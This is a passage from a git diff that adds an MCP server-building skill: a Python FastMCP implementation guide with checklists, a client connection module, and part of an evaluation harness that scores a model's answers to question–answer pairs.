examples and complete schema documentation +- [ ] Error messages are clear, actionable, and educational + +### TypeScript Quality +- [ ] TypeScript interfaces are defined for all data structures +- [ ] Strict TypeScript is enabled in tsconfig.json +- [ ] No use of `any` type - use `unknown` or proper types instead +- [ ] All async functions have explicit Promise return types +- [ ] Error handling uses proper type guards (e.g., `axios.isAxiosError`, `z.ZodError`) + +### Advanced Features (where applicable) +- [ ] Resources registered for appropriate data endpoints +- [ ] Appropriate transport configured (stdio or streamable HTTP) +- [ ] Notifications implemented for dynamic server capabilities +- [ ] Type-safe with SDK interfaces + +### Project Configuration +- [ ] Package.json includes all necessary dependencies +- [ ] Build script produces working JavaScript in dist/ directory +- [ ] Main entry point is properly configured as dist/index.js +- [ ] Server name follows format: `{service}-mcp-server` +- [ ] tsconfig.json properly configured with strict mode + +### Code Quality +- [ ] Pagination is properly implemented where applicable +- [ ] Large responses check CHARACTER_LIMIT constant and truncate with clear messages +- [ ] Filtering options are provided for potentially large result sets +- [ ] All network operations handle timeouts and connection errors gracefully +- [ ] Common functionality is extracted into reusable functions +- [ ] Return types are consistent across similar operations + +### Testing and Build +- [ ] `npm run build` completes successfully without errors +- [ ] dist/index.js created and executable +- [ ] Server runs: `node dist/index.js --help` +- [ ] All imports resolve correctly +- [ ] Sample tool calls work as expected \ No newline at end of file diff --git a/skills/mcp-builder/reference/python_mcp_server.md b/skills/mcp-builder/reference/python_mcp_server.md new file mode 100644 index 0000000000000000000000000000000000000000..cf7ec996d2e6e3655bc75ff6902738d03a37334e --- /dev/null +++ b/skills/mcp-builder/reference/python_mcp_server.md @@ -0,0 +1,719 @@ +# Python MCP Server Implementation Guide + +## Overview + +This document provides Python-specific best practices and examples for implementing MCP servers using the MCP Python SDK. It covers server setup, tool registration patterns, input validation with Pydantic, error handling, and complete working examples. + +--- + +## Quick Reference + +### Key Imports +```python +from mcp.server.fastmcp import FastMCP +from pydantic import BaseModel, Field, field_validator, ConfigDict +from typing import Optional, List, Dict, Any +from enum import Enum +import httpx +``` + +### Server Initialization +```python +mcp = FastMCP("service_mcp") +``` + +### Tool Registration Pattern +```python +@mcp.tool(name="tool_name", annotations={...}) +async def tool_function(params: InputModel) -> str: + # Implementation + pass +``` + +--- + +## MCP Python SDK and FastMCP + +The official MCP Python SDK provides FastMCP, a high-level framework for building MCP servers. It provides: +- Automatic description and inputSchema generation from function signatures and docstrings +- Pydantic model integration for input validation +- Decorator-based tool registration with `@mcp.tool` + +**For complete SDK documentation, use WebFetch to load:** +`https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` + +## Server Naming Convention + +Python MCP servers must follow this naming pattern: +- **Format**: `{service}_mcp` (lowercase with underscores) +- **Examples**: `github_mcp`, `jira_mcp`, `stripe_mcp` + +The name should be: +- General (not tied to specific features) +- Descriptive of the service/API being integrated +- Easy to infer from the task description +- Without version numbers or dates + +## Tool Implementation + +### Tool Naming + +Use snake_case for tool names (e.g., "search_users", "create_project", "get_channel_info") with clear, action-oriented names. + +**Avoid Naming Conflicts**: Include the service context to prevent overlaps: +- Use "slack_send_message" instead of just "send_message" +- Use "github_create_issue" instead of just "create_issue" +- Use "asana_list_tasks" instead of just "list_tasks" + +### Tool Structure with FastMCP + +Tools are defined using the `@mcp.tool` decorator with Pydantic models for input validation: + +```python +from pydantic import BaseModel, Field, ConfigDict +from mcp.server.fastmcp import FastMCP + +# Initialize the MCP server +mcp = FastMCP("example_mcp") + +# Define Pydantic model for input validation +class ServiceToolInput(BaseModel): + '''Input model for service tool operation.''' + model_config = ConfigDict( + str_strip_whitespace=True, # Auto-strip whitespace from strings + validate_assignment=True, # Validate on assignment + extra='forbid' # Forbid extra fields + ) + + param1: str = Field(..., description="First parameter description (e.g., 'user123', 'project-abc')", min_length=1, max_length=100) + param2: Optional[int] = Field(default=None, description="Optional integer parameter with constraints", ge=0, le=1000) + tags: Optional[List[str]] = Field(default_factory=list, description="List of tags to apply", max_items=10) + +@mcp.tool( + name="service_tool_name", + annotations={ + "title": "Human-Readable Tool Title", + "readOnlyHint": True, # Tool does not modify environment + "destructiveHint": False, # Tool does not perform destructive operations + "idempotentHint": True, # Repeated calls have no additional effect + "openWorldHint": False # Tool does not interact with external entities + } +) +async def service_tool_name(params: ServiceToolInput) -> str: + '''Tool description automatically becomes the 'description' field. + + This tool performs a specific operation on the service. It validates all inputs + using the ServiceToolInput Pydantic model before processing. + + Args: + params (ServiceToolInput): Validated input parameters containing: + - param1 (str): First parameter description + - param2 (Optional[int]): Optional parameter with default + - tags (Optional[List[str]]): List of tags + + Returns: + str: JSON-formatted response containing operation results + ''' + # Implementation here + pass +``` + +## Pydantic v2 Key Features + +- Use `model_config` instead of nested `Config` class +- Use `field_validator` instead of deprecated `validator` +- Use `model_dump()` instead of deprecated `dict()` +- Validators require `@classmethod` decorator +- Type hints are required for validator methods + +```python +from pydantic import BaseModel, Field, field_validator, ConfigDict + +class CreateUserInput(BaseModel): + model_config = ConfigDict( + str_strip_whitespace=True, + validate_assignment=True + ) + + name: str = Field(..., description="User's full name", min_length=1, max_length=100) + email: str = Field(..., description="User's email address", pattern=r'^[\w\.-]+@[\w\.-]+\.\w+$') + age: int = Field(..., description="User's age", ge=0, le=150) + + @field_validator('email') + @classmethod + def validate_email(cls, v: str) -> str: + if not v.strip(): + raise ValueError("Email cannot be empty") + return v.lower() +``` + +## Response Format Options + +Support multiple output formats for flexibility: + +```python +from enum import Enum + +class ResponseFormat(str, Enum): + '''Output format for tool responses.''' + MARKDOWN = "markdown" + JSON = "json" + +class UserSearchInput(BaseModel): + query: str = Field(..., description="Search query") + response_format: ResponseFormat = Field( + default=ResponseFormat.MARKDOWN, + description="Output format: 'markdown' for human-readable or 'json' for machine-readable" + ) +``` + +**Markdown format**: +- Use headers, lists, and formatting for clarity +- Convert timestamps to human-readable format (e.g., "2024-01-15 10:30:00 UTC" instead of epoch) +- Show display names with IDs in parentheses (e.g., "@john.doe (U123456)") +- Omit verbose metadata (e.g., show only one profile image URL, not all sizes) +- Group related information logically + +**JSON format**: +- Return complete, structured data suitable for programmatic processing +- Include all available fields and metadata +- Use consistent field names and types + +## Pagination Implementation + +For tools that list resources: + +```python +class ListInput(BaseModel): + limit: Optional[int] = Field(default=20, description="Maximum results to return", ge=1, le=100) + offset: Optional[int] = Field(default=0, description="Number of results to skip for pagination", ge=0) + +async def list_items(params: ListInput) -> str: + # Make API request with pagination + data = await api_request(limit=params.limit, offset=params.offset) + + # Return pagination info + response = { + "total": data["total"], + "count": len(data["items"]), + "offset": params.offset, + "items": data["items"], + "has_more": data["total"] > params.offset + len(data["items"]), + "next_offset": params.offset + len(data["items"]) if data["total"] > params.offset + len(data["items"]) else None + } + return json.dumps(response, indent=2) +``` + +## Error Handling + +Provide clear, actionable error messages: + +```python +def _handle_api_error(e: Exception) -> str: + '''Consistent error formatting across all tools.''' + if isinstance(e, httpx.HTTPStatusError): + if e.response.status_code == 404: + return "Error: Resource not found. Please check the ID is correct." + elif e.response.status_code == 403: + return "Error: Permission denied. You don't have access to this resource." + elif e.response.status_code == 429: + return "Error: Rate limit exceeded. Please wait before making more requests." + return f"Error: API request failed with status {e.response.status_code}" + elif isinstance(e, httpx.TimeoutException): + return "Error: Request timed out. Please try again." + return f"Error: Unexpected error occurred: {type(e).__name__}" +``` + +## Shared Utilities + +Extract common functionality into reusable functions: + +```python +# Shared API request function +async def _make_api_request(endpoint: str, method: str = "GET", **kwargs) -> dict: + '''Reusable function for all API calls.''' + async with httpx.AsyncClient() as client: + response = await client.request( + method, + f"{API_BASE_URL}/{endpoint}", + timeout=30.0, + **kwargs + ) + response.raise_for_status() + return response.json() +``` + +## Async/Await Best Practices + +Always use async/await for network requests and I/O operations: + +```python +# Good: Async network request +async def fetch_data(resource_id: str) -> dict: + async with httpx.AsyncClient() as client: + response = await client.get(f"{API_URL}/resource/{resource_id}") + response.raise_for_status() + return response.json() + +# Bad: Synchronous request +def fetch_data(resource_id: str) -> dict: + response = requests.get(f"{API_URL}/resource/{resource_id}") # Blocks + return response.json() +``` + +## Type Hints + +Use type hints throughout: + +```python +from typing import Optional, List, Dict, Any + +async def get_user(user_id: str) -> Dict[str, Any]: + data = await fetch_user(user_id) + return {"id": data["id"], "name": data["name"]} +``` + +## Tool Docstrings + +Every tool must have comprehensive docstrings with explicit type information: + +```python +async def search_users(params: UserSearchInput) -> str: + ''' + Search for users in the Example system by name, email, or team. + + This tool searches across all user profiles in the Example platform, + supporting partial matches and various search filters. It does NOT + create or modify users, only searches existing ones. + + Args: + params (UserSearchInput): Validated input parameters containing: + - query (str): Search string to match against names/emails (e.g., "john", "@example.com", "team:marketing") + - limit (Optional[int]): Maximum results to return, between 1-100 (default: 20) + - offset (Optional[int]): Number of results to skip for pagination (default: 0) + + Returns: + str: JSON-formatted string containing search results with the following schema: + + Success response: + { + "total": int, # Total number of matches found + "count": int, # Number of results in this response + "offset": int, # Current pagination offset + "users": [ + { + "id": str, # User ID (e.g., "U123456789") + "name": str, # Full name (e.g., "John Doe") + "email": str, # Email address (e.g., "john@example.com") + "team": str # Team name (e.g., "Marketing") - optional + } + ] + } + + Error response: + "Error: " or "No users found matching ''" + + Examples: + - Use when: "Find all marketing team members" -> params with query="team:marketing" + - Use when: "Search for John's account" -> params with query="john" + - Don't use when: You need to create a user (use example_create_user instead) + - Don't use when: You have a user ID and need full details (use example_get_user instead) + + Error Handling: + - Input validation errors are handled by Pydantic model + - Returns "Error: Rate limit exceeded" if too many requests (429 status) + - Returns "Error: Invalid API authentication" if API key is invalid (401 status) + - Returns formatted list of results or "No users found matching 'query'" + ''' +``` + +## Complete Example + +See below for a complete Python MCP server example: + +```python +#!/usr/bin/env python3 +''' +MCP Server for Example Service. + +This server provides tools to interact with Example API, including user search, +project management, and data export capabilities. +''' + +from typing import Optional, List, Dict, Any +from enum import Enum +import httpx +from pydantic import BaseModel, Field, field_validator, ConfigDict +from mcp.server.fastmcp import FastMCP + +# Initialize the MCP server +mcp = FastMCP("example_mcp") + +# Constants +API_BASE_URL = "https://api.example.com/v1" + +# Enums +class ResponseFormat(str, Enum): + '''Output format for tool responses.''' + MARKDOWN = "markdown" + JSON = "json" + +# Pydantic Models for Input Validation +class UserSearchInput(BaseModel): + '''Input model for user search operations.''' + model_config = ConfigDict( + str_strip_whitespace=True, + validate_assignment=True + ) + + query: str = Field(..., description="Search string to match against names/emails", min_length=2, max_length=200) + limit: Optional[int] = Field(default=20, description="Maximum results to return", ge=1, le=100) + offset: Optional[int] = Field(default=0, description="Number of results to skip for pagination", ge=0) + response_format: ResponseFormat = Field(default=ResponseFormat.MARKDOWN, description="Output format") + + @field_validator('query') + @classmethod + def validate_query(cls, v: str) -> str: + if not v.strip(): + raise ValueError("Query cannot be empty or whitespace only") + return v.strip() + +# Shared utility functions +async def _make_api_request(endpoint: str, method: str = "GET", **kwargs) -> dict: + '''Reusable function for all API calls.''' + async with httpx.AsyncClient() as client: + response = await client.request( + method, + f"{API_BASE_URL}/{endpoint}", + timeout=30.0, + **kwargs + ) + response.raise_for_status() + return response.json() + +def _handle_api_error(e: Exception) -> str: + '''Consistent error formatting across all tools.''' + if isinstance(e, httpx.HTTPStatusError): + if e.response.status_code == 404: + return "Error: Resource not found. Please check the ID is correct." + elif e.response.status_code == 403: + return "Error: Permission denied. You don't have access to this resource." + elif e.response.status_code == 429: + return "Error: Rate limit exceeded. Please wait before making more requests." + return f"Error: API request failed with status {e.response.status_code}" + elif isinstance(e, httpx.TimeoutException): + return "Error: Request timed out. Please try again." + return f"Error: Unexpected error occurred: {type(e).__name__}" + +# Tool definitions +@mcp.tool( + name="example_search_users", + annotations={ + "title": "Search Example Users", + "readOnlyHint": True, + "destructiveHint": False, + "idempotentHint": True, + "openWorldHint": True + } +) +async def example_search_users(params: UserSearchInput) -> str: + '''Search for users in the Example system by name, email, or team. + + [Full docstring as shown above] + ''' + try: + # Make API request using validated parameters + data = await _make_api_request( + "users/search", + params={ + "q": params.query, + "limit": params.limit, + "offset": params.offset + } + ) + + users = data.get("users", []) + total = data.get("total", 0) + + if not users: + return f"No users found matching '{params.query}'" + + # Format response based on requested format + if params.response_format == ResponseFormat.MARKDOWN: + lines = [f"# User Search Results: '{params.query}'", ""] + lines.append(f"Found {total} users (showing {len(users)})") + lines.append("") + + for user in users: + lines.append(f"## {user['name']} ({user['id']})") + lines.append(f"- **Email**: {user['email']}") + if user.get('team'): + lines.append(f"- **Team**: {user['team']}") + lines.append("") + + return "\n".join(lines) + + else: + # Machine-readable JSON format + import json + response = { + "total": total, + "count": len(users), + "offset": params.offset, + "users": users + } + return json.dumps(response, indent=2) + + except Exception as e: + return _handle_api_error(e) + +if __name__ == "__main__": + mcp.run() +``` + +--- + +## Advanced FastMCP Features + +### Context Parameter Injection + +FastMCP can automatically inject a `Context` parameter into tools for advanced capabilities like logging, progress reporting, resource reading, and user interaction: + +```python +from mcp.server.fastmcp import FastMCP, Context + +mcp = FastMCP("example_mcp") + +@mcp.tool() +async def advanced_search(query: str, ctx: Context) -> str: + '''Advanced tool with context access for logging and progress.''' + + # Report progress for long operations + await ctx.report_progress(0.25, "Starting search...") + + # Log information for debugging + await ctx.log_info("Processing query", {"query": query, "timestamp": datetime.now()}) + + # Perform search + results = await search_api(query) + await ctx.report_progress(0.75, "Formatting results...") + + # Access server configuration + server_name = ctx.fastmcp.name + + return format_results(results) + +@mcp.tool() +async def interactive_tool(resource_id: str, ctx: Context) -> str: + '''Tool that can request additional input from users.''' + + # Request sensitive information when needed + api_key = await ctx.elicit( + prompt="Please provide your API key:", + input_type="password" + ) + + # Use the provided key + return await api_call(resource_id, api_key) +``` + +**Context capabilities:** +- `ctx.report_progress(progress, message)` - Report progress for long operations +- `ctx.log_info(message, data)` / `ctx.log_error()` / `ctx.log_debug()` - Logging +- `ctx.elicit(prompt, input_type)` - Request input from users +- `ctx.fastmcp.name` - Access server configuration +- `ctx.read_resource(uri)` - Read MCP resources + +### Resource Registration + +Expose data as resources for efficient, template-based access: + +```python +@mcp.resource("file://documents/{name}") +async def get_document(name: str) -> str: + '''Expose documents as MCP resources. + + Resources are useful for static or semi-static data that doesn't + require complex parameters. They use URI templates for flexible access. + ''' + document_path = f"./docs/{name}" + with open(document_path, "r") as f: + return f.read() + +@mcp.resource("config://settings/{key}") +async def get_setting(key: str, ctx: Context) -> str: + '''Expose configuration as resources with context.''' + settings = await load_settings() + return json.dumps(settings.get(key, {})) +``` + +**When to use Resources vs Tools:** +- **Resources**: For data access with simple parameters (URI templates) +- **Tools**: For complex operations with validation and business logic + +### Structured Output Types + +FastMCP supports multiple return types beyond strings: + +```python +from typing import TypedDict +from dataclasses import dataclass +from pydantic import BaseModel + +# TypedDict for structured returns +class UserData(TypedDict): + id: str + name: str + email: str + +@mcp.tool() +async def get_user_typed(user_id: str) -> UserData: + '''Returns structured data - FastMCP handles serialization.''' + return {"id": user_id, "name": "John Doe", "email": "john@example.com"} + +# Pydantic models for complex validation +class DetailedUser(BaseModel): + id: str + name: str + email: str + created_at: datetime + metadata: Dict[str, Any] + +@mcp.tool() +async def get_user_detailed(user_id: str) -> DetailedUser: + '''Returns Pydantic model - automatically generates schema.''' + user = await fetch_user(user_id) + return DetailedUser(**user) +``` + +### Lifespan Management + +Initialize resources that persist across requests: + +```python +from contextlib import asynccontextmanager + +@asynccontextmanager +async def app_lifespan(): + '''Manage resources that live for the server's lifetime.''' + # Initialize connections, load config, etc. + db = await connect_to_database() + config = load_configuration() + + # Make available to all tools + yield {"db": db, "config": config} + + # Cleanup on shutdown + await db.close() + +mcp = FastMCP("example_mcp", lifespan=app_lifespan) + +@mcp.tool() +async def query_data(query: str, ctx: Context) -> str: + '''Access lifespan resources through context.''' + db = ctx.request_context.lifespan_state["db"] + results = await db.query(query) + return format_results(results) +``` + +### Transport Options + +FastMCP supports two main transport mechanisms: + +```python +# stdio transport (for local tools) - default +if __name__ == "__main__": + mcp.run() + +# Streamable HTTP transport (for remote servers) +if __name__ == "__main__": + mcp.run(transport="streamable_http", port=8000) +``` + +**Transport selection:** +- **stdio**: Command-line tools, local integrations, subprocess execution +- **Streamable HTTP**: Web services, remote access, multiple clients + +--- + +## Code Best Practices + +### Code Composability and Reusability + +Your implementation MUST prioritize composability and code reuse: + +1. **Extract Common Functionality**: + - Create reusable helper functions for operations used across multiple tools + - Build shared API clients for HTTP requests instead of duplicating code + - Centralize error handling logic in utility functions + - Extract business logic into dedicated functions that can be composed + - Extract shared markdown or JSON field selection & formatting functionality + +2. **Avoid Duplication**: + - NEVER copy-paste similar code between tools + - If you find yourself writing similar logic twice, extract it into a function + - Common operations like pagination, filtering, field selection, and formatting should be shared + - Authentication/authorization logic should be centralized + +### Python-Specific Best Practices + +1. **Use Type Hints**: Always include type annotations for function parameters and return values +2. **Pydantic Models**: Define clear Pydantic models for all input validation +3. **Avoid Manual Validation**: Let Pydantic handle input validation with constraints +4. **Proper Imports**: Group imports (standard library, third-party, local) +5. **Error Handling**: Use specific exception types (httpx.HTTPStatusError, not generic Exception) +6. **Async Context Managers**: Use `async with` for resources that need cleanup +7. **Constants**: Define module-level constants in UPPER_CASE + +## Quality Checklist + +Before finalizing your Python MCP server implementation, ensure: + +### Strategic Design +- [ ] Tools enable complete workflows, not just API endpoint wrappers +- [ ] Tool names reflect natural task subdivisions +- [ ] Response formats optimize for agent context efficiency +- [ ] Human-readable identifiers used where appropriate +- [ ] Error messages guide agents toward correct usage + +### Implementation Quality +- [ ] FOCUSED IMPLEMENTATION: Most important and valuable tools implemented +- [ ] All tools have descriptive names and documentation +- [ ] Return types are consistent across similar operations +- [ ] Error handling is implemented for all external calls +- [ ] Server name follows format: `{service}_mcp` +- [ ] All network operations use async/await +- [ ] Common functionality is extracted into reusable functions +- [ ] Error messages are clear, actionable, and educational +- [ ] Outputs are properly validated and formatted + +### Tool Configuration +- [ ] All tools implement 'name' and 'annotations' in the decorator +- [ ] Annotations correctly set (readOnlyHint, destructiveHint, idempotentHint, openWorldHint) +- [ ] All tools use Pydantic BaseModel for input validation with Field() definitions +- [ ] All Pydantic Fields have explicit types and descriptions with constraints +- [ ] All tools have comprehensive docstrings with explicit input/output types +- [ ] Docstrings include complete schema structure for dict/JSON returns +- [ ] Pydantic models handle input validation (no manual validation needed) + +### Advanced Features (where applicable) +- [ ] Context injection used for logging, progress, or elicitation +- [ ] Resources registered for appropriate data endpoints +- [ ] Lifespan management implemented for persistent connections +- [ ] Structured output types used (TypedDict, Pydantic models) +- [ ] Appropriate transport configured (stdio or streamable HTTP) + +### Code Quality +- [ ] File includes proper imports including Pydantic imports +- [ ] Pagination is properly implemented where applicable +- [ ] Filtering options are provided for potentially large result sets +- [ ] All async functions are properly defined with `async def` +- [ ] HTTP client usage follows async patterns with proper context managers +- [ ] Type hints are used throughout the code +- [ ] Constants are defined at module level in UPPER_CASE + +### Testing +- [ ] Server runs successfully: `python your_server.py --help` +- [ ] All imports resolve correctly +- [ ] Sample tool calls work as expected +- [ ] Error scenarios handled gracefully \ No newline at end of file diff --git a/skills/mcp-builder/scripts/connections.py b/skills/mcp-builder/scripts/connections.py new file mode 100644 index 0000000000000000000000000000000000000000..ffcd0da3fbe1539320d022017ae83b61a9587a5c --- /dev/null +++ b/skills/mcp-builder/scripts/connections.py @@ -0,0 +1,151 @@ +"""Lightweight connection handling for MCP servers.""" + +from abc import ABC, abstractmethod +from contextlib import AsyncExitStack +from typing import Any + +from mcp import ClientSession, StdioServerParameters +from mcp.client.sse import sse_client +from mcp.client.stdio import stdio_client +from mcp.client.streamable_http import streamablehttp_client + + +class MCPConnection(ABC): + """Base class for MCP server connections.""" + + def __init__(self): + self.session = None + self._stack = None + + @abstractmethod + def _create_context(self): + """Create the connection context based on connection type.""" + + async def __aenter__(self): + """Initialize MCP server connection.""" + self._stack = AsyncExitStack() + await self._stack.__aenter__() + + try: + ctx = self._create_context() + result = await self._stack.enter_async_context(ctx) + + if len(result) == 2: + read, write = result + elif len(result) == 3: + read, write, _ = result + else: + raise ValueError(f"Unexpected context result: {result}") + + session_ctx = ClientSession(read, write) + self.session = await self._stack.enter_async_context(session_ctx) + await self.session.initialize() + return self + except BaseException: + await self._stack.__aexit__(None, None, None) + raise + + async def __aexit__(self, exc_type, exc_val, exc_tb): + """Clean up MCP server connection resources.""" + if self._stack: + await self._stack.__aexit__(exc_type, exc_val, exc_tb) + self.session = None + self._stack = None + + async def list_tools(self) -> list[dict[str, Any]]: + """Retrieve available tools from the MCP server.""" + response = await self.session.list_tools() + return [ + { + "name": tool.name, + "description": tool.description, + "input_schema": tool.inputSchema, + } + for tool in response.tools + ] + + async def call_tool(self, tool_name: str, arguments: dict[str, Any]) -> Any: + """Call a tool on the MCP server with provided arguments.""" + result = await self.session.call_tool(tool_name, arguments=arguments) + return result.content + + +class MCPConnectionStdio(MCPConnection): + """MCP connection using standard input/output.""" + + def __init__(self, command: str, args: list[str] = None, env: dict[str, str] = None): + super().__init__() + self.command = command + self.args = args or [] + self.env = env + + def _create_context(self): + return stdio_client( + StdioServerParameters(command=self.command, args=self.args, env=self.env) + ) + + +class MCPConnectionSSE(MCPConnection): + """MCP connection using Server-Sent Events.""" + + def __init__(self, url: str, headers: dict[str, str] = None): + super().__init__() + self.url = url + self.headers = headers or {} + + def _create_context(self): + return sse_client(url=self.url, headers=self.headers) + + +class MCPConnectionHTTP(MCPConnection): + """MCP connection using Streamable HTTP.""" + + def __init__(self, url: str, headers: dict[str, str] = None): + super().__init__() + self.url = url + self.headers = headers or {} + + def _create_context(self): + return streamablehttp_client(url=self.url, headers=self.headers) + + +def create_connection( + transport: str, + command: str = None, + args: list[str] = None, + env: dict[str, str] = None, + url: str = None, + headers: dict[str, str] = None, +) -> MCPConnection: + """Factory function to create the appropriate MCP connection. + + Args: + transport: Connection type ("stdio", "sse", or "http") + command: Command to run (stdio only) + args: Command arguments (stdio only) + env: Environment variables (stdio only) + url: Server URL (sse and http only) + headers: HTTP headers (sse and http only) + + Returns: + MCPConnection instance + """ + transport = transport.lower() + + if transport == "stdio": + if not command: + raise ValueError("Command is required for stdio transport") + return MCPConnectionStdio(command=command, args=args, env=env) + + elif transport == "sse": + if not url: + raise ValueError("URL is required for sse transport") + return MCPConnectionSSE(url=url, headers=headers) + + elif transport in ["http", "streamable_http", "streamable-http"]: + if not url: + raise ValueError("URL is required for http transport") + return MCPConnectionHTTP(url=url, headers=headers) + + else: + raise ValueError(f"Unsupported transport type: {transport}. Use 'stdio', 'sse', or 'http'") diff --git a/skills/mcp-builder/scripts/evaluation.py b/skills/mcp-builder/scripts/evaluation.py new file mode 100644 index 0000000000000000000000000000000000000000..41778569c45a458e0eea839b8917692ad65be2d5 --- /dev/null +++ b/skills/mcp-builder/scripts/evaluation.py @@ -0,0 +1,373 @@ +"""MCP Server Evaluation Harness + +This script evaluates MCP servers by running test questions against them using Claude. +""" + +import argparse +import asyncio +import json +import re +import sys +import time +import traceback +import xml.etree.ElementTree as ET +from pathlib import Path +from typing import Any + +from anthropic import Anthropic + +from connections import create_connection + +EVALUATION_PROMPT = """You are an AI assistant with access to tools. + +When given a task, you MUST: +1. Use the available tools to complete the task +2. Provide summary of each step in your approach, wrapped in tags +3. Provide feedback on the tools provided, wrapped in tags +4. Provide your final response, wrapped in tags + +Summary Requirements: +- In your tags, you must explain: + - The steps you took to complete the task + - Which tools you used, in what order, and why + - The inputs you provided to each tool + - The outputs you received from each tool + - A summary for how you arrived at the response + +Feedback Requirements: +- In your tags, provide constructive feedback on the tools: + - Comment on tool names: Are they clear and descriptive? + - Comment on input parameters: Are they well-documented? Are required vs optional parameters clear? + - Comment on descriptions: Do they accurately describe what the tool does? + - Comment on any errors encountered during tool usage: Did the tool fail to execute? Did the tool return too many tokens? + - Identify specific areas for improvement and explain WHY they would help + - Be specific and actionable in your suggestions + +Response Requirements: +- Your response should be concise and directly address what was asked +- Always wrap your final response in tags +- If you cannot solve the task return NOT_FOUND +- For numeric responses, provide just the number +- For IDs, provide just the ID +- For names or text, provide the exact text requested +- Your response should go last""" + + +def parse_evaluation_file(file_path: Path) -> list[dict[str, Any]]: + """Parse XML evaluation file with qa_pair elements.""" + try: + tree = ET.parse(file_path) + root = tree.getroot() + evaluations = [] + + for qa_pair in root.findall(".//qa_pair"): + question_elem = qa_pair.find("question") + answer_elem = qa_pair.find("answer") + + if question_elem is not None and answer_elem is not None: + evaluations.append({ + "question": (question_elem.text or "").strip(), + "answer": (answer_elem.text or "").strip(), + }) + + return evaluations + except Exception as e: + print(f"Error parsing evaluation file {file_path}: {e}") + return [] + + +def extract_xml_content(text: str, tag: str) -> str | None: + """Extract content from XML tags.""" + pattern = rf"<{tag}>(.*?)" + matches = re.findall(pattern, text, re.DOTALL) + return matches[-1].strip() if matches else None + + +async def agent_loop( + client: Anthropic, + model: str, + question: str, + tools: list[dict[str, Any]], + connection: Any, +) -> tuple[str, dict[str, Any]]: + """Run the agent loop with MCP tools.""" + messages = [{"role": "user", "content": question}] + + response = await asyncio.to_thread( + client.messages.create, + model=model, + max_tokens=4096, + system=EVALUATION_PROMPT, + messages=messages, + tools=tools, + ) + + messages.append({"role": "assistant", "content": response.content}) + + tool_metrics = {} + + while response.stop_reason == "tool_use": + tool_use = next(block for block in response.content if block.type == "tool_use") + tool_name = tool_use.name + tool_input = tool_use.input + + tool_start_ts = time.time() + try: + tool_result = await connection.call_tool(tool_name, tool_input) + tool_response = json.dumps(tool_result) if isinstance(tool_result, (dict, list)) else str(tool_result) + except Exception as e: + tool_response = f"Error executing tool {tool_name}: {str(e)}\n" + tool_response += traceback.format_exc() + tool_duration = time.time() - tool_start_ts + + if tool_name not in tool_metrics: + tool_metrics[tool_name] = {"count": 0, "durations": []} + tool_metrics[tool_name]["count"] += 1 + tool_metrics[tool_name]["durations"].append(tool_duration) + + messages.append({ + "role": "user", + "content": [{ + "type": "tool_result", + "tool_use_id": tool_use.id, + "content": tool_response, + }] + }) + + response = await asyncio.to_thread( + client.messages.create, + model=model, + max_tokens=4096, + system=EVALUATION_PROMPT, + messages=messages, + tools=tools, + ) + messages.append({"role": "assistant", "content": response.content}) + + response_text = next( + (block.text for block in response.content if hasattr(block, "text")), + None, + ) + return response_text, tool_metrics + + +async def evaluate_single_task( + client: Anthropic, + model: str, + qa_pair: dict[str, Any], + tools: list[dict[str, Any]], + connection: Any, + task_index: int, +) -> dict[str, Any]: + """Evaluate a single QA pair with the given tools.""" + start_time = time.time() + + print(f"Task {task_index + 1}: Running task with question: {qa_pair['question']}") + response, tool_metrics = await agent_loop(client, model, qa_pair["question"], tools, connection) + + response_value = extract_xml_content(response, "response") + summary = extract_xml_content(response, "summary") + feedback = extract_xml_content(response, "feedback") + + duration_seconds = time.time() - start_time + + return { + "question": qa_pair["question"], + "expected": qa_pair["answer"], + "actual": response_value, + "score": int(response_value == qa_pair["answer"]) if response_value else 0, + "total_duration": duration_seconds, + "tool_calls": tool_metrics, + "num_tool_calls": sum(len(metrics["durations"]) for metrics in tool_metrics.values()), + "summary": summary, + "feedback": feedback, + } + + +REPORT_HEADER = """ +# Evaluation Report + +## Summary + +- **Accuracy**: {correct}/{total} ({accuracy:.1f}%) +- **Average Task Duration**: {average_duration_s:.2f}s +- **Average Tool Calls per Task**: {average_tool_calls:.2f} +- **Total Tool Calls**: {total_tool_calls} + +--- +""" + +TASK_TEMPLATE = """ +### Task {task_num} + +**Question**: {question} +**Ground Truth Answer**: `{expected_answer}` +**Actual Answer**: `{actual_answer}` +**Correct**: {correct_indicator} +**Duration**: {total_duration:.2f}s +**Tool Calls**: {tool_calls} + +**Summary** +{summary} + +**Feedback** +{feedback} + +--- +""" + + +async def run_evaluation( + eval_path: Path, + connection: Any, + model: str = "claude-3-7-sonnet-20250219", +) -> str: + """Run evaluation with MCP server tools.""" + print("🚀 Starting Evaluation") + + client = Anthropic() + + tools = await connection.list_tools() + print(f"📋 Loaded {len(tools)} tools from MCP server") + + qa_pairs = parse_evaluation_file(eval_path) + print(f"📋 Loaded {len(qa_pairs)} evaluation tasks") + + results = [] + for i, qa_pair in enumerate(qa_pairs): + print(f"Processing task {i + 1}/{len(qa_pairs)}") + result = await evaluate_single_task(client, model, qa_pair, tools, connection, i) + results.append(result) + + correct = sum(r["score"] for r in results) + accuracy = (correct / len(results)) * 100 if results else 0 + average_duration_s = sum(r["total_duration"] for r in results) / len(results) if results else 0 + average_tool_calls = sum(r["num_tool_calls"] for r in results) / len(results) if results else 0 + total_tool_calls = sum(r["num_tool_calls"] for r in results) + + report = REPORT_HEADER.format( + correct=correct, + total=len(results), + accuracy=accuracy, + average_duration_s=average_duration_s, + average_tool_calls=average_tool_calls, + total_tool_calls=total_tool_calls, + ) + + report += "".join([ + TASK_TEMPLATE.format( + task_num=i + 1, + question=qa_pair["question"], + expected_answer=qa_pair["answer"], + actual_answer=result["actual"] or "N/A", + correct_indicator="✅" if result["score"] else "❌", + total_duration=result["total_duration"], + tool_calls=json.dumps(result["tool_calls"], indent=2), + summary=result["summary"] or "N/A", + feedback=result["feedback"] or "N/A", + ) + for i, (qa_pair, result) in enumerate(zip(qa_pairs, results)) + ]) + + return report + + +def parse_headers(header_list: list[str]) -> dict[str, str]: + """Parse header strings in format 'Key: Value' into a dictionary.""" + headers = {} + if not header_list: + return headers + + for header in header_list: + if ":" in header: + key, value = header.split(":", 1) + headers[key.strip()] = value.strip() + else: + print(f"Warning: Ignoring malformed header: {header}") + return headers + + +def parse_env_vars(env_list: list[str]) -> dict[str, str]: + """Parse environment variable strings in format 'KEY=VALUE' into a dictionary.""" + env = {} + if not env_list: + return env + + for env_var in env_list: + if "=" in env_var: + key, value = env_var.split("=", 1) + env[key.strip()] = value.strip() + else: + print(f"Warning: Ignoring malformed environment 